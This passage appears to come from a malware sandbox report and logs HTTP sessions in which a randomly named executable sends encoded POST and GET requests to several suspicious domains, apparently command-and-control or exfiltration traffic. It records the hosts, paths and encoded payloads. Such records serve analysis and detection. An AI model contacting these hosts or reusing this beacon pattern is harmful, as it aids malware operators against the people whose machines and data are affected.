22	192.168.2.4	49641	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:45.223704100 CEST	739	OUT	POST /b8ih/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.tukaari.shop Origin: http://www.tukaari.shop Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.tukaari.shop/b8ih/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 44 66 62 59 39 7a 6f 46 55 4b 30 6f 33 43 41 37 77 63 63 70 4a 76 53 6e 79 48 71 36 35 31 44 61 44 4c 38 4a 31 4f 2f 31 33 76 69 78 70 75 36 4d 64 62 4c 38 76 6b 2f 51 62 38 35 62 35 6a 49 69 61 44 36 6c 35 42 39 65 76 6d 4a 72 52 74 45 56 52 51 36 56 2f 7a 66 31 59 2b 36 4b 30 48 35 57 57 51 4f 2b 30 2f 30 46 39 39 42 70 75 58 36 4d 42 6c 7a 53 52 51 4f 43 38 48 4d 37 4d 2f 4e 68 44 36 59 4a 61 65 70 7a 5a 34 79 4d 49 73 31 45 61 6e 57 34 64 78 61 75 6f 34 52 44 43 70 75 70 51 71 39 6d 4c 56 68 72 59 78 67 76 74 4d 37 70 52 37 54 55 4e 6c 79 79 62 47 4e 6b 57 65 59 36 59 5a 6e 35 71 61 78 4f 2f 71 52 54 74 44 39 43 63 56 65 44 50 4f 59 3d Data Ascii: AHkx=DfbY9zoFUK0o3CA7wccpJvSnyHq651DaDL8J1O/13vixpu6MdbL8vk/Qb85b5jIiaD6l5B9evmJrRtEVRQ6V/zf1Y+6K0H5WWQO+0/0F99BpuX6MBlzSRQOC8HM7M/NhD6YJaepzZ4yMIs1EanW4dxauo4RDCpupQq9mLVhrYxgvtM7pR7TUNlyybGNkWeY6YZn5qaxO/qRTtD9CcVeDPOY=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49642	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:47.767743111 CEST	10821	OUT	POST /b8ih/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.tukaari.shop Origin: http://www.tukaari.shop Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.tukaari.shop/b8ih/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 44 66 62 59 39 7a 6f 46 55 4b 30 6f 33 43 41 37 77 63 63 70 4a 76 53 6e 79 48 71 36 35 31 44 61 44 4c 38 4a 31 4f 2f 31 33 76 71 78 71 59 75 4d 62 35 6a 38 70 55 2f 51 59 38 35 59 35 6a 49 76 61 44 69 70 35 42 67 38 76 6c 39 72 44 65 4d 56 59 42 36 56 32 7a 66 31 46 4f 36 50 70 58 35 35 57 51 65 69 30 2f 6b 46 39 39 42 70 75 55 69 4d 49 55 7a 53 43 41 4f 4e 71 33 4d 33 61 50 4e 4e 44 36 41 2f 61 65 64 4a 5a 49 53 4d 49 4d 6c 45 64 55 2b 34 55 78 61 67 76 34 52 68 43 70 6a 72 51 71 68 45 4c 52 67 4f 59 32 51 76 75 5a 53 4d 4a 61 54 38 55 30 65 70 4e 6b 6c 6d 51 75 4d 73 5a 70 62 74 6d 6f 46 55 6b 37 42 41 72 68 42 4c 59 77 4b 77 4e 4c 6d 52 33 49 32 6a 79 79 47 78 50 63 55 4a 36 59 59 66 39 35 67 45 44 49 79 64 73 57 46 37 63 70 30 2f 4b 4f 4d 54 72 7a 55 48 76 57 50 71 47 78 48 33 57 72 2b 4f 65 76 41 45 41 6e 4c 7a 34 6a 76 30 73 2b 7a 53 75 4d 6d 6a 49 50 6e 58 4b 56 6f 65 43 2f 75 37 49 64 59 55 6b 74 33 31 6b 39 46 4a 49 50 42 6e 2f 57 62 67 51 64 78 74 44 6e 71 32 2b 67 59 4b 30 [TRUNCATED] Data Ascii: AHkx=DfbY9zoFUK0o3CA7wccpJvSnyHq651DaDL8J1O/13vqxqYuMb5j8pU/QY85Y5jIvaDip5Bg8vl9rDeMVYB6V2zf1FO6PpX55WQei0/kF99BpuUiMIUzSCAONq3M3aPNND6A/aedJZISMIMlEdU+4Uxagv4RhCpjrQqhELRgOY2QvuZSMJaT8U0epNklmQuMsZpbtmoFUk7BArhBLYwKwNLmR3I2jyyGxPcUJ6YYf95gEDIydsWF7cp0/KOMTrzUHvWPqGxH3Wr+OevAEAnLz4jv0s+zSuMmjIPnXKVoeC/u7IdYUkt31k9FJIPBn/WbgQdxtDnq2+gYK06o8Dhcea13Bph9jISQua+/9/8tQGFcdyu24qbevxLkeupA8ztC3oX1Vj+nDse7hU84Vjwu5Lm6V25qECS5OwJY8M/Nh7A3bqsYzhpKtW81l6MoJJzwlb7fme4FbS9XsCT7ndgySHe43UiU8VgsdbBtbh5Og14AL0sWRrgn9Lx7EjrcBORHaKgdcetsMHLy3zxlNt98rB753SKKyGZDRtb+z1GhsEmMRR4lphERVwPVDKoxGi4R6bYBQP6w1G0mYj5fdGCKndw9WmN6vJQxrANya5Wrco5kcf22WZxv8r+3eiNX+4LOovKohPg4cS+K6qoSqDfNIFwA2CQlwzdP0b/5hVsF7YcYxTYapu6/lmuER2Et65eXXFWBfQMUHeCrpKIVexlZ9rYg9LmDWZKr6GvjRbWGTfGrBGKv31OcOncNYhHg6HwP+/aZifWAIzJQIFWxxZjGiJNrlENskmJ1mkc4iFkrjV7jQ5e5oUcf0mj79UkCDABzX3v8Eee4RO/q7K7P7HyHy1SbOsK1GYbSe/3bKDLq/fkaEc5QfVOtJsyg0igdSxxQPT+16bswI1LEgaBnhp6nGPJ24WqL5XCShlN1+bo2XrdV9xxfwolTgFPRlZoGIiLGEnztAmxYTTGG+ewS/XFO/h0GhguHM134Wef7hxlVwWujTL4s [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49643	3.33.130.190	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:50.311779976 CEST	462	OUT	GET /b8ih/?AHkx=Odz4+FoaeIgH5S8C9OYZQc3ouWeZxTDEesAV9dDAx8uax8eIV9nl6gv+Nqhf7GxjMHuq3WRF/H9yecUAbTD83GPUGNWv010JVF29ycwpsNNUnGWJNXrEBFE=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.tukaari.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:20:51.716342926 CEST	400	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:20:51 GMT Content-Type: text/html Content-Length: 260 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 41 48 6b 78 3d 4f 64 7a 34 2b 46 6f 61 65 49 67 48 35 53 38 43 39 4f 59 5a 51 63 33 6f 75 57 65 5a 78 54 44 45 65 73 41 56 39 64 44 41 78 38 75 61 78 38 65 49 56 39 6e 6c 36 67 76 2b 4e 71 68 66 37 47 78 6a 4d 48 75 71 33 57 52 46 2f 48 39 79 65 63 55 41 62 54 44 38 33 47 50 55 47 4e 57 76 30 31 30 4a 56 46 32 39 79 63 77 70 73 4e 4e 55 6e 47 57 4a 4e 58 72 45 42 46 45 3d 26 72 66 2d 4c 5a 3d 4a 6c 43 74 75 4e 33 48 71 50 4f 38 43 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?AHkx=Odz4+FoaeIgH5S8C9OYZQc3ouWeZxTDEesAV9dDAx8uax8eIV9nl6gv+Nqhf7GxjMHuq3WRF/H9yecUAbTD83GPUGNWv010JVF29ycwpsNNUnGWJNXrEBFE=&rf-LZ=JlCtuN3HqPO8C"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49644	154.212.219.2	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:57.223153114 CEST	728	OUT	POST /6wpo/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.prj81oqde1.buzz Origin: http://www.prj81oqde1.buzz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.prj81oqde1.buzz/6wpo/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 68 2f 69 6f 6e 62 51 57 6a 62 76 69 30 55 77 69 76 38 39 75 68 6c 4d 45 74 58 4f 75 59 4e 76 52 42 4b 6d 47 4c 53 45 6e 4e 48 76 47 2b 61 78 36 51 59 76 72 54 32 33 36 42 78 65 43 33 52 6d 64 65 71 42 75 32 53 44 57 4e 70 65 70 4e 2b 75 46 75 51 45 7a 63 42 4f 78 75 48 6e 59 30 57 44 51 77 7a 77 39 44 49 61 66 73 6c 36 73 46 6c 4d 6a 42 48 6d 51 61 77 41 43 37 6d 66 39 4b 38 41 69 6d 38 6b 50 77 78 6e 5a 79 42 57 4c 4d 30 4f 45 51 58 38 78 51 65 2b 2f 53 79 42 4d 6a 69 55 74 42 5a 72 39 4d 6e 46 52 6f 79 5a 4e 34 50 53 4f 49 67 77 4f 50 4e 50 54 53 66 33 76 6d 77 67 65 64 77 3d 3d Data Ascii: AHkx=h/ionbQWjbvi0Uwiv89uhlMEtXOuYNvRBKmGLSEnNHvG+ax6QYvrT236BxeC3RmdeqBu2SDWNpepN+uFuQEzcBOxuHnY0WDQwzw9DIafsl6sFlMjBHmQawAC7mf9K8Aim8kPwxnZyBWLM0OEQX8xQe+/SyBMjiUtBZr9MnFRoyZN4PSOIgwOPNPTSf3vmwgedw==
Oct 9, 2024 14:20:58.129436016 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:20:57 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49645	154.212.219.2	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:20:59.772252083 CEST	748	OUT	POST /6wpo/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.prj81oqde1.buzz Origin: http://www.prj81oqde1.buzz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.prj81oqde1.buzz/6wpo/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 68 2f 69 6f 6e 62 51 57 6a 62 76 69 31 30 41 69 75 61 31 75 74 56 4d 4c 69 33 4f 75 4b 4e 76 64 42 4b 71 47 4c 58 38 33 4b 79 33 47 2f 36 68 36 52 61 4c 72 51 32 33 36 4b 52 65 44 34 78 6d 44 65 72 38 62 32 51 58 57 4e 71 69 70 4e 38 32 46 76 6e 59 77 64 52 4f 2f 69 6e 6e 61 70 47 44 51 77 7a 77 39 44 49 4f 35 73 6c 53 73 46 51 45 6a 41 69 4b 58 47 41 41 42 2b 6d 66 39 4f 38 41 63 6d 38 6c 59 77 30 4f 38 79 43 75 4c 4d 32 47 45 54 47 38 79 4c 4f 2b 31 50 69 41 6f 72 69 5a 4a 44 70 75 38 45 6c 5a 39 32 41 68 4d 35 4a 44 55 5a 52 52 5a 64 4e 72 67 50 59 2b 62 72 7a 64 58 47 36 55 51 79 6e 38 49 53 33 71 62 48 36 58 45 74 32 32 39 51 58 41 3d Data Ascii: AHkx=h/ionbQWjbvi10Aiua1utVMLi3OuKNvdBKqGLX83Ky3G/6h6RaLrQ236KReD4xmDer8b2QXWNqipN82FvnYwdRO/innapGDQwzw9DIO5slSsFQEjAiKXGAAB+mf9O8Acm8lYw0O8yCuLM2GETG8yLO+1PiAoriZJDpu8ElZ92AhM5JDUZRRZdNrgPY+brzdXG6UQyn8IS3qbH6XEt229QXA=
Oct 9, 2024 14:21:00.661510944 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:21:00 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49646	154.212.219.2	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:02.316055059 CEST	10830	OUT	POST /6wpo/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.prj81oqde1.buzz Origin: http://www.prj81oqde1.buzz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.prj81oqde1.buzz/6wpo/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 68 2f 69 6f 6e 62 51 57 6a 62 76 69 31 30 41 69 75 61 31 75 74 56 4d 4c 69 33 4f 75 4b 4e 76 64 42 4b 71 47 4c 58 38 33 4b 78 58 47 2f 4d 74 36 51 37 4c 72 52 32 33 36 48 78 65 47 34 78 6e 47 65 72 6b 66 32 51 72 47 4e 73 6d 70 4d 66 2b 46 6f 53 73 77 55 52 4f 2f 71 48 6e 62 30 57 44 67 77 33 64 32 44 49 65 35 73 6c 53 73 46 52 30 6a 57 48 6d 58 45 41 41 43 37 6d 66 68 4b 38 42 78 6d 38 73 74 77 30 4b 43 79 79 4f 4c 43 32 32 45 57 30 55 79 48 4f 2b 7a 4f 69 41 77 72 69 56 57 44 70 79 4b 45 6b 74 54 32 44 39 4d 37 4d 47 39 4c 6c 51 47 4b 2b 66 4a 53 4c 43 34 76 69 35 46 47 37 49 2f 36 31 59 78 51 33 57 6c 4b 4b 7a 4b 77 54 79 42 4b 44 64 61 51 31 79 32 65 30 47 33 4f 39 78 4f 52 32 67 64 6e 6b 6b 76 48 4b 50 57 55 39 46 52 6e 34 5a 68 79 74 6e 56 31 6a 6f 41 43 31 74 55 43 44 48 2b 73 55 33 46 79 50 74 68 46 44 64 6d 50 69 4e 59 50 38 79 49 78 73 73 38 4d 4c 57 59 31 6f 71 30 45 41 37 7a 79 6e 65 33 73 36 46 59 45 70 75 5a 66 7a 2f 64 4d 72 32 72 77 51 50 72 2b 6a 47 54 54 4e 46 59 4b [TRUNCATED] Data Ascii: AHkx=h/ionbQWjbvi10Aiua1utVMLi3OuKNvdBKqGLX83KxXG/Mt6Q7LrR236HxeG4xnGerkf2QrGNsmpMf+FoSswURO/qHnb0WDgw3d2DIe5slSsFR0jWHmXEAAC7mfhK8Bxm8stw0KCyyOLC22EW0UyHO+zOiAwriVWDpyKEktT2D9M7MG9LlQGK+fJSLC4vi5FG7I/61YxQ3WlKKzKwTyBKDdaQ1y2e0G3O9xOR2gdnkkvHKPWU9FRn4ZhytnV1joAC1tUCDH+sU3FyPthFDdmPiNYP8yIxss8MLWY1oq0EA7zyne3s6FYEpuZfz/dMr2rwQPr+jGTTNFYKYJ1R4b92/XUpswHJr4aWYJEmzCX41bPkk6LEefA566mbxQm6EpDlQeXBD9C+wNMvymG27O6GXsAcLW5ZwR4G91/QVxz92n5pxf4LwriIx7bt4L2SsIk4Xyl0IuidON3LnvDPtFJitZhIqg+7NIEtAz5Q20K6jeOAOiw1GSsz3MRviz3FlbDHXaI5MC943vCISH3C5Vq/PFWVMP4Qbz8ukslhIivpiSXDz0lDRTI3WgTtLgxDx0yltdn+EtVHMGnEDpHrraLoIEc1pAi58ppS6Lm5nxjC7EZ83i9GNeTxsWF8k3+M6M47LV/FPweVhqPY7mX+Vqy5kjUuhXC5nkyVzznarqsr+BmGhHJgbi05lZ3lNacUbDtFtH9RM4PnW1K7RabYgmNOTyNTpugN5+AVaqYhWG0C+N4PVyoe8qQhKcNz9oxQ89TieTJBcSDeNnec3tnsGeNXZI+d05Jvc81XnrP9ILF64Po9fTnIRo6F0lZuGgF2x6XEf4P3gf29OkfXwfUPNU/tx9DIgZ91sS5YRF9rFc3NmvdtO8zx6G7KT7/qWff7eGyCYmkp71yoGt3VHpOis+nRtve2WIgMcFOhlKEZD7w57bjN+KsjvFhmYS18ipFszbKppMwi+5zV42oLYuYZefb9rzqcaBHgpI3EwfJ9YMEW6ZiqWe [TRUNCATED]
Oct 9, 2024 14:21:03.191891909 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:21:03 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49647	154.212.219.2	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:04.859318018 CEST	465	OUT	GET /6wpo/?AHkx=s9KIkrkzrqTbzkMmh7Bli3B0wEyBHaCwBa6qLgEcFDzVo4ZyZuXCeDvxdW3wzkiXZ/4dwHLmTrOaI9mNhjMAcV+6tVbS2gqGz3F/PYSng2mbFSIjOzq2Kmk=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.prj81oqde1.buzz Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:21:05.895066977 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:21:05 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49648	133.130.35.90	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:12.227118969 CEST	716	OUT	POST /p9u3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.komart.shop Origin: http://www.komart.shop Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.komart.shop/p9u3/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 4f 33 68 38 38 30 4a 61 6f 65 74 31 45 64 4a 4a 52 67 74 70 74 58 56 73 4e 6a 49 72 36 62 4f 67 38 4d 39 38 47 63 75 49 68 53 7a 6f 4f 54 4b 4a 49 50 6b 6a 30 36 52 6d 6c 46 33 54 65 61 71 62 51 42 4d 6d 57 56 69 6c 6b 70 78 31 55 79 4d 6c 63 4b 46 53 2f 65 77 59 71 68 6a 56 41 78 6e 50 38 42 71 2b 51 69 53 78 42 39 47 73 45 56 4b 67 59 56 38 76 31 4b 33 55 5a 50 53 54 55 57 74 63 30 35 71 43 52 4a 74 42 41 38 67 78 35 48 4a 70 4e 30 31 41 78 77 65 56 43 52 75 35 6a 53 4b 66 6b 7a 6b 42 57 2b 66 61 38 37 56 78 63 63 32 79 72 71 66 51 57 39 54 4b 62 45 6e 66 41 6f 58 58 51 67 3d 3d Data Ascii: AHkx=O3h880Jaoet1EdJJRgtptXVsNjIr6bOg8M98GcuIhSzoOTKJIPkj06RmlF3TeaqbQBMmWVilkpx1UyMlcKFS/ewYqhjVAxnP8Bq+QiSxB9GsEVKgYV8v1K3UZPSTUWtc05qCRJtBA8gx5HJpN01AxweVCRu5jSKfkzkBW+fa87Vxcc2yrqfQW9TKbEnfAoXXQg==
Oct 9, 2024 14:21:13.023412943 CEST	668	IN	HTTP/1.1 404 Not Found content-encoding: gzip content-type: text/html date: Wed, 09 Oct 2024 12:21:12 GMT etag: W/"66fe0220-2b5" server: nginx vary: Accept-Encoding content-length: 454 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb [TRUNCATED] Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49649	133.130.35.90	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:21:14.768416882 CEST	736	OUT	POST /p9u3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.komart.shop Origin: http://www.komart.shop Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.komart.shop/p9u3/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 4f 33 68 38 38 30 4a 61 6f 65 74 31 46 2b 42 4a 51 42 74 70 34 6e 56 76 42 44 49 72 7a 37 4f 38 38 4d 42 38 47 64 36 59 68 6b 4c 6f 41 52 69 4a 50 36 49 6a 33 36 52 6d 74 6c 33 57 54 36 71 41 51 42 77 75 57 58 6d 6c 6b 70 6c 31 55 79 38 6c 63 5a 74 4e 2b 4f 77 